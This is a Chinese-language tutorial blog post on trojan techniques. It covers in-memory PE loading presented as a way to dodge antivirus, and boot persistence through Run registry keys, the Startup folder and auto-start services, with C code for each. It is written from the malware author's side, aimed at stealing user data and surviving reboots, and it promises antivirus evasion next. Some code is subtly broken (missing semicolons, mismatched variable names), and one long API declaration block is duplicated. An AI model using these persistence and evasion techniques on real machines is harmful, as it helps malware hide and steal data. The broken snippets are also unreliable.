介绍
病毒木马植入模块成功植入用户计算机之后,便会启动攻击模块来对用户计算机数据实施窃取和回传等动作。通常植入和攻击是分开在不同模块之中,有些病毒木马具有模拟PE加载器的功能,它们把 DLL
和 exe
从内存中直接加载到病毒木马的内存中执行,不需要 LoadLibrary
等现成的 API
函数去操作,以此躲过杀毒软件的拦截检测。几乎所有的病毒木马程序都会用到自启动技术,当程序感染之后的第一件事往往不是破坏,而是隐藏自己和如何执行,即使马上启动注入模块发动攻击依然解决不了永久驻留的问题,在Windows系统下解决永久驻留的第一步就是伴随系统启动而启动,即开机自启动。设置为开机自启动之后即使关闭计算机病毒程序仍然可以在下次开机的时候随着系统启动,由系统加载到内存中运行,从而窃取用户数据和隐私。开机自启动技术是病毒木马至关重要的技术。
直接加载内存运行
很多病毒木马具有PE加载器的功能,他们把 DLL
或者 EXE
等文件直接从内存加载到病毒木马的内存中执行,不需要通过 LoadLibrary
等现成的 API
中去操作,以此躲过杀毒软件的拦截检测。
在程序需要动态的调用 DLL
文件,内存加载运行技术可以把这些 DLL
作为资源直接插入到自己的程序中,直接在内存中加载运行即可,不需要将 DLL
释放到本地。内存直接加载运行技术需要对PE文件结构有较深的认识,明白PE格式中的导入、导出和重定位表的具体操作过程。PE加载器模拟PE文件的加载过程的核心就是对导入、导出和重定位表的操作过程。
- 实现流程
- 在
DLL
文件中,根据PE结构获取其加载映像的大小SizeofImage
,并根据SizeOfImage
在自己的程序中申请可读、可写、可执行的内存,那么这块内存的首地址就是DLL
的加载基址 - 根据
DLL
中的PE
结构获取其映像对齐大小SectionAlignment
,然后把DLL
文件数据按照SectionAlignment
复制到上述申请的可读、可写、可执行的内存中 - 根据PE结构的重定位表,重新对重定位进行修正
- 根据PE结构的导入表,加载所需的
DLL
,并获取导入函数的地址并写入导入表中,修改DLL
加载基址ImageBase
- 根据PE结构获取
DLL
的入口地址,然后构造并调用DllMain
函数,实现DLL
加载。
在直接加载 EXE
文件时,不需要构造 DllMain
函数,而是根据PE结构获取 EXE
的入口地址偏移 AddressOfEntryPoint
并计算出入口地址,然后直接跳转到入口地址执行即可,而且对于 EXE
文件来说重定位表并不是必须的,即使没有重定位表, EXE
也可以正常运行。因为对于 EXE
进程来说,进程最早加载的模块是 EXE
模块,所以它可以按照默认的加载基址加载到内存。对于没有重定位表的程序,只能把它加载到默认的加载基址上,如果默认加载基址已被占用,则直接内存加载运行会失败。
- 关键实现
// 模拟GetProcAddress获取内存DLL的导出函数 LPVOID MyGetProcAddress(LPVOID lpBaseAddress, PCHAR lpszFuncName) { LPVOID lpFunc = NULL; // 获取导出表 PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBaseAddress; PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((ULONG32)pDosHeader + pDosHeader->e_lfanew); PIMAGE_EXPORT_DIRECTORY pExportTable = (PIMAGE_EXPORT_DIRECTORY)((DWORD)pDosHeader + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); // 获取导出表的数据 PDWORD lpAddressOfNamesArray = (PDWORD)((DWORD)pDosHeader + pExportTable->AddressOfNames); PCHAR lpFuncName = NULL; PWORD lpAddressOfNameOrdinalsArray = (PWORD)((DWORD)pDosHeader + pExportTable->AddressOfNameOrdinals); WORD wHint = 0; PDWORD lpAddressOfFunctionsArray = (PDWORD)((DWORD)pDosHeader + pExportTable->AddressOfFunctions); DWORD dwNumberOfNames = pExportTable->NumberOfNames; DWORD i = 0; // 遍历导出表的导出函数的名称, 并进行匹配 for (i = 0; i < dwNumberOfNames; i++) { lpFuncName = (PCHAR)((DWORD)pDosHeader + lpAddressOfNamesArray[i]); if (0 == ::lstrcmpi(lpFuncName, lpszFuncName)) { // 获取导出函数地址 wHint = lpAddressOfNameOrdinalsArray[i]; lpFunc = (LPVOID)((DWORD)pDosHeader + lpAddressOfFunctionsArray[wHint]); break; } } return lpFunc; } // 修改PE文件重定位表信息 BOOL DoRelocationTable(LPVOID lpBaseAddress) { // 重定位表的结构: // DWORD sectionAddress, DWORD size (包括本节需要重定位的数据) //注意重定位表的位置可能和硬盘文件中的偏移地址不同,应该使用加载后的地址 PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBaseAddress; PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((ULONG32)pDosHeader + pDosHeader->e_lfanew); PIMAGE_BASE_RELOCATION pLoc = (PIMAGE_BASE_RELOCATION)((unsigned long)pDosHeader + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress); // 判断是否有 重定位表 if ((PVOID)pLoc == (PVOID)pDosHeader) { // 重定位表 为空 return TRUE; } while ((pLoc->VirtualAddress + pLoc->SizeOfBlock) != 0) //开始扫描重定位表 { WORD *pLocData = (WORD *)((PBYTE)pLoc + sizeof(IMAGE_BASE_RELOCATION)); //计算本节需要修正的重定位地址的数目 int nNumberOfReloc = (pLoc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); for (int i = 0; i < nNumberOfReloc; i++) { if ((DWORD)(pLocData[i] & 0x0000F000) == 0x00003000) //这是一个需要修正的地址 { // 32位dll重定位,IMAGE_REL_BASED_HIGHLOW // 对于x86的可执行文件,所有的基址重定位都是IMAGE_REL_BASED_HIGHLOW类型的。 DWORD* pAddress = (DWORD *)((PBYTE)pDosHeader + pLoc->VirtualAddress + (pLocData[i] & 0x0FFF)); DWORD dwDelta = (DWORD)pDosHeader - pNtHeaders->OptionalHeader.ImageBase; *pAddress += dwDelta; } } //转移到下一个节进行处理 pLoc = (PIMAGE_BASE_RELOCATION)((PBYTE)pLoc + pLoc->SizeOfBlock); } return TRUE; }
设置自启动
注册表
注册表相当于操作系统的数据库,记录着系统中方方面面的数据,其中也不 乏直接或者间接导致开机自启动的数据。下面是Run注册表中添加程序路径 的方式,实现开机自启。
- 关键函数
WINADVAPI LSTATUS APIENTRY RegOpenKeyExW( _In_ HKEY hKey, // 当前打开或者预定义的键 _In_opt_ LPCWSTR lpSubKey, // 指向一个非中断字符串将要打开键的名称 _In_opt_ DWORD ulOptions, // 保留,必须设置为 0 _In_ REGSAM samDesired, // 对指定键希望得到的访问权限进行的访问标记 _Out_ PHKEY phkResult // 指向一个变量的指针,该变量保存打开注册表的句柄 ); WINADVAPI LSTATUS APIENTRY RegSetValueExW( _In_ HKEY hKey, // 指定一个已打开项的句柄,或者一个标准项名 _In_opt_ LPCWSTR lpValueName, // 指向一个字符串的指针,该字符串包含了欲设置值的名称 _Reserved_ DWORD Reserved, // 保留值,必须强制为 0 _In_ DWORD dwType, // 指定将存储的数据类型 _In_reads_bytes_opt_(cbData) CONST BYTE* lpData, // 指向一个缓冲区,该缓冲区包含了为指定名称存储的数据 _In_ DWORD cbData // 指定由lpData参数所指向的数据大小,单位是字节 );
- 实现思路
在Windows中提供了专门的开机自启动注册表,在每次开机完成后,他都会在这个注册表键下遍历键值,以获取键值中的程序路径,并创建进程自启动程序,所以,要想修改注册表实现自启动,只需要在这个注册表键下添加想要设置自启动程序的程序路径就可以了,这两个路径分别为:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
另外在修改注册表的权限问题上,在编程实现上,
要修改 HKEY_LOCAL_MACHINE
主键的注册表要求程序具有管理员的权限。
而修改 HKEY_CURRENT_USER
主键的注册表,只需要用户默认权限就可以实现。
BOOL RegCurrentUser(char *lpFileName, char *lpValueName) { // 默认权限 HKEY hKey; // 打开注册表键 RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_WRITE, &hKey) // 修改注册表值,实现开机自启 RegSetValueEx(hKey, lpszValueName, 0, REG_SZ, (BYTE *)lpszFileName, (1 + lstrlen(lpszFileName))) // 关闭注册表键 RegCloseKey(hKey); return TRUE; } // 需管理员权限的路径 BOOL RegLocalMachine(char *lpFileName, char *lpValueName) { // 管理员权限 HKEY hKey; // 打开注册表键 RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_WRITE, &hKey) // 修改注册表值,实现开机自启 RegSetValueEx(hKey, lpszValueName, 0, REG_SZ, (BYTE *)lpszFileName, (1 + lstrlen(lpszFileName))) // 关闭注册表键 RegCloseKey(hKey); return TRUE; }
快速启动目录
快速启动目录是一种实现起来最为简单的自启动方法,不用修改任何系统数据。
- 函数介绍
BOOL SHGetSpecialFolderPathA( HWND hwnd, // 窗口所有者的句柄 LPSTR pszPath, // 返回路径的缓冲区 int csidl, // 系统路径的CSIDL标识 BOOL fCreate // 指示文件夹是否要创建,false不创建 true创建 );
- 实现原理
Windows
系统有自带的快速启动的文件夹,他是最为简单的自启动方式,只要把程序放入到这个快速启动文件夹中,系统在启动时就会自动地加载并运行相应的程序,实现开机自启动功能。
快速启动目录并不是一个固定地目录,每台计算机地目录都不相同,但是可以使用 SHGetSpecialFolderPath
函数获取Windows系统中快速启动目录地路径,快速启动目录的 CSIDL
标识值为 CSIDL_STARTUP
。
BOOL AutoRun_Startup(char *lpszSrcFilePath, char *lpszDestFileName){ BOOL bRet = FALSE; char szStartupPath[MAX_PATH] = {0}; char szDestFilePath[MAX_PATH] = {0}; // 获取 快速启动目录 路径 bRet = SHGetSpecialFolderPath(NULL, szStartupPath, CSIDL_STARTUP, TRUE); printf("szStartupPath=%s\n", szStartupPath); if (FALSE == bRet) { return FALSE; } // 构造拷贝的 目的文件路径 wsprintf(szDestFilePath, "%s\\%s", szStartupPath, lpszDestFileName); // 拷贝文件到快速启动目录下 bRet = CopyFile(lpszSrcFilePath, szDestFilePath, FALSE); if (FALSE == bRet) { return FALSE; } return TRUE;}
系统服务
大多数在后台运行的系统服务是随着系统启动而启动的,系统进程自启动是通过创建系统服务并设置服务启动类型为自启动来实现的,下面来看一下创建系统服务进程的原理和实现。
- 函数介绍
WINADVAPI SC_HANDLE // 建立一个到服务控制管理器的连接,并打开指定的数据库 WINAPI OpenSCManagerW( _In_opt_ LPCWSTR lpMachineName, //指向零终止字符串,指定目标计算机的名称 _In_opt_ LPCWSTR lpDatabaseName, //指向零终止字符串,指定将要打开的服务控制管理数据库的名称 SERVICES_ACTIVE_DATABASE _In_ DWORD dwDesiredAccess // 指向服务访问控制管理器的权限 ); WINADVAPI SC_HANDLE // 创建一个服务对象,并将其添加到指定的服务控制管理器数据库中 WINAPI CreateServiceW( _In_ SC_HANDLE hSCManager, // 指向服务控制管理器数据库的句柄 _In_ LPCWSTR lpServiceName, // 要安装服务的名称 _In_opt_ LPCWSTR lpDisplayName, // 用户界面用来识别服务的显示名称 _In_ DWORD dwDesiredAccess, // 对服务的访问 _In_ DWORD dwServiceType, // 服务类型 _In_ DWORD dwStartType, // 服务启动项 _In_ DWORD dwErrorControl, // 当该服务启动失败时,指定产生错误严重程度以及应采取的保护措施 _In_opt_ LPCWSTR lpBinaryPathName, // 服务程序的二进制文件,它完全限定路径。如果路径中包含空格,则必须引用它,以便能正确地解析 _In_opt_ LPCWSTR lpLoadOrderGroup, // 指向加载排序组的名称 _Out_opt_ LPDWORD lpdwTagId, // 指定的组中唯一的标记值变量 _In_opt_ LPCWSTR lpDependencies, // 空分隔名称的服务或加载顺序组系统在这个服务开始之前的双空终止数组的指针 _In_opt_ LPCWSTR lpServiceStartName, // 该服务应运行的账户名称 _In_opt_ LPCWSTR lpPassword // 由lpServiceStartName参数指定的账户名的密码 ); WINADVAPI SC_HANDLE // 打开一个已经存在的服务 WINAPI OpenServiceW( _In_ SC_HANDLE hSCManager, // 指向SCM数据库句柄 _In_ LPCWSTR lpServiceName, // 要打开服务的名字 _In_ DWORD dwDesiredAccess // 指定服务权限 ); WINADVAPI BOOL // 启动服务 WINAPI StartServiceW( _In_ SC_HANDLE hService, // OpenService或者CreateService函数返回的服务句柄,需要有SERVICE_START _In_ DWORD dwNumServiceArgs, // 下一个形参的字符串个数 _In_reads_opt_(dwNumServiceArgs) LPCWSTR *lpServiceArgVectors // 传递给服务ServiceMain的参数,如果没有可以为NULL ); WINADVAPI BOOL // 将服务进程的主线程连接到服务控制管理器,该线程将作为调用过程的服务控制分派器线程 WINAPI StartServiceCtrlDispatcherW( _In_ CONST SERVICE_TABLE_ENTRYW *lpServiceStartTable // 指向SERVICE_TABLE_ENTRY结构的指针,其中包含可在调用进程中执行的每个服务的条目 );
- 实现思路
通过 OpenSCManager
函数打开服务控制管理器数据库并获取数据库的句 柄
WINADVAPI SC_HANDLE // 建立一个到服务控制管理器的连接,并打开指定的数据库 WINAPI OpenSCManagerW( _In_opt_ LPCWSTR lpMachineName, //指向零终止字符串,指定目标计算机的名称 _In_opt_ LPCWSTR lpDatabaseName, //指向零终止字符串,指定将要打开的服务控制管理数据库的名称 SERVICES_ACTIVE_DATABASE _In_ DWORD dwDesiredAccess // 指向服务访问控制管理器的权限 ); WINADVAPI SC_HANDLE // 创建一个服务对象,并将其添加到指定的服务控制管理器数据库中 WINAPI CreateServiceW( _In_ SC_HANDLE hSCManager, // 指向服务控制管理器数据库的句柄 _In_ LPCWSTR lpServiceName, // 要安装服务的名称 _In_opt_ LPCWSTR lpDisplayName, // 用户界面用来识别服务的显示名称 _In_ DWORD dwDesiredAccess, // 对服务的访问 _In_ DWORD dwServiceType, // 服务类型 _In_ DWORD dwStartType, // 服务启动项 _In_ DWORD dwErrorControl, // 当该服务启动失败时,指定产生错误严重程度以及应采取的保护措施 _In_opt_ LPCWSTR lpBinaryPathName, // 服务程序的二进制文件,它完全限定路径。如果路径中包含空格,则必须引用它,以便能正确地解析 _In_opt_ LPCWSTR lpLoadOrderGroup, // 指向加载排序组的名称 _Out_opt_ LPDWORD lpdwTagId, // 指定的组中唯一的标记值变量 _In_opt_ LPCWSTR lpDependencies, // 空分隔名称的服务或加载顺序组系统在这个服务开始之前的双空终止数组的指针 _In_opt_ LPCWSTR lpServiceStartName, // 该服务应运行的账户名称 _In_opt_ LPCWSTR lpPassword // 由lpServiceStartName参数指定的账户名的密码 ); WINADVAPI SC_HANDLE // 打开一个已经存在的服务 WINAPI OpenServiceW( _In_ SC_HANDLE hSCManager, // 指向SCM数据库句柄 _In_ LPCWSTR lpServiceName, // 要打开服务的名字 _In_ DWORD dwDesiredAccess // 指定服务权限 ); WINADVAPI BOOL // 启动服务 WINAPI StartServiceW( _In_ SC_HANDLE hService, // OpenService或者CreateService函数返回的服务句柄,需要有SERVICE_START _In_ DWORD dwNumServiceArgs, // 下一个形参的字符串个数 _In_reads_opt_(dwNumServiceArgs) LPCWSTR *lpServiceArgVectors // 传递给服务ServiceMain的参数,如果没有可以为NULL ); WINADVAPI BOOL // 将服务进程的主线程连接到服务控制管理器,该线程将作为调用过程的服务控制分派器线程 WINAPI StartServiceCtrlDispatcherW( _In_ CONST SERVICE_TABLE_ENTRYW *lpServiceStartTable // 指向SERVICE_TABLE_ENTRY结构的指针,其中包含可在调用进程中执行的每个服务的条目 );
系统服务程序的编写
自启动服务程序并不是普通的程序,而是要求程序创建服务入口点函数,否则,不能创建系统服务。
调用系统函数 StartServiceCtrlDispatcher
将程序的主线程连接到服务控制管理程序,服务控制管理程序启动服务后,等待服务控制主函数调用 StartServiceCtrlDispatcher
函数,如果没有调用该函数时设置服务入口点,则会报错。
服务程序 ServiceMain
入口函数的代码
void __stdcall ServiceMain(DWORD dwArgc, char *lpszArgv) { g_ServiceStatusHandle = RegisterServiceCtrlHandler(g_szServiceName, ServiceCtrlHandle); TellSCM(SERVICE_START_PENDING, 0, 1); TellSCM(SERVICE_RUNNING, 0, 0); while (TRUE) { Sleep(5000); DoTask(); } }
总结
关于自启动技术最常见的是第一种注册表,下面的相比于第一种有的适用行不是很强,或者编写比较麻烦。这种技术也是杀软重点监测的技术,对于杀软来说,只要守住“入口”,就可以将病毒木马挡在门外了,下一篇会继续探索一下隐藏技术,学习一点简单的免杀。